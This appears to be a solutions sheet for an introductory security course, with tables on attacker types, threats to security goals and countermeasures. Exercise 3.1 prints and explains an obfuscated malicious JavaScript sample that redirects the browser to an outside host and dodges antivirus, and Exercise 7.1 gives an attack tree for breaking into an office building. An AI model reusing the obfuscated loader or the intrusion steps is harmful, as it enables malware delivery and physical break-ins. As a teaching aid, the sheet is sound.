Solutions

Exercises 1st Semester

Exercise 1.1 (Attacker Stereotypes)

Name	Characteristics / Motivation	Danger
Script Kiddie	Bragging rights & wreaking havoc	
Hacktivists	(Pseudo-)political & social goals	
Competitors	Defamation & industrial espionage	
Organized Crime	Monetization, e.g. extortion & fraud (Providing Cyber-Crime-as-a-Service)	
Evil Employees	Revenge & corruption Dangerous insider knowledge	
Nation States	Power! Unlimited resources & budget	x 100

Exercise 2.1 (Threats to Security Goals)

Threat	C	I	Α
Network Sniffing	✓		
DDoS Attack			✓
Rogue WiFi Access Point		✓	(\/)
Electromagnetic Pulse (EMP)		(/)	✓
Whistleblower	✓		
Social Engineering		✓	✓

Exercise 2.3 (CIA³ Measures)

Security Goal	Technical Measures	Organizational Measures	
Confidentiality	e.g. AES/RSA, HTTPS, Tor, 2FA	e.g. Anonymous Payment Systems, Access Restrictions, Data Classification	
Integrity	e.g. SHA2, HSTS, MACs, PGP/GPG, Blockchain	e.g. Version Control, Access Logs	
Availability	e.g. Load Balancer, Circuit Breaker Pattern, Heartbeat Monitoring, RAID	e.g. 24/7 Support, On-Call-Duty, SLAs	

Security Goal	Technical Measures	Organizational Measures
Accountability	i.	e.g. Security Policies, Risk Assessments, RACI Matrix, Segregation of Duties
Assurance	e.g. Vulnerability Scanner	e.g. KPIs, Customer/Supplier Audits, Penetration Test, Red Team

Exercise 3.1 (JavaScript Payload)

- 1. Default Internet browser is opened (as it is probably bound to open .html files on most computers)
- 2. The JavaScript is executed resulting in the effective code
 document["location"]=http://enjoyyourhaircut.com/5.html; being run
- 3. The browser is redirected to http://enjoyyourhaircut.com/5.html (which does not exist any more)

```
<!-- C/C v0964 -->
<script>
function c() { }; t=false; kM="kM"; c.prototype = {v : function()
   {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var
   w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr
    (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst
   r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9"
   \cdotsubstr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw
   zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var
   r=false; zC=false; m=''; document["locazLsR".substr(0,4)+"tion"]=w; var
   eG=false; this.k='';q=5975;q=55201; this.p=""; var iK=61242; var
   n=false;}};var nF=false;this.eF=false;var x=new c();
   l="1";q0="";x.v();this.kN=false;
</script>
```

i Only the yellow code sections are relevant as the payload. The rest is merely obfuscation to prevent detection by AV software!

Exercise 7.1 (Attack Tree: Access Office Building)

1. Go through a door a. When it's unlocked: i. Get lucky. ii. Obstruct the latch plate (the "Watergate Classic"). iii. Distract the person who locks the door at night. b. Drill the lock. c. Pick the lock. d. Use the key. i. Find a key. ii. Steal a key. iii. Photograph and reproduce the key. iv. Social engineer a key from someone. 1. Borrow the key. 2. Convince someone to post a photo of their key ring. e. Social engineer your way in. i. Act like you're authorized and follow someone in. ii. Make friends with an authorized person. iii. Carry a box, a cup of coffee in each hand, etc.

- 2. Go through a window.
 - a. Break a window.
 - b. Lift the window.
- 3. Go through a wall.
 - a. Use a sledgehammer or axe.
 - b. Use a truck to go through the wall.
- 4. Gain access via other means.
 - a. Use a fi re escape.
 - b. Use roof access from a helicopter (preferably black) or adjacent building.
 - c. Enter another part of the building, using another tenant's access.

Exercise 7.2 (Threat Boundaries)

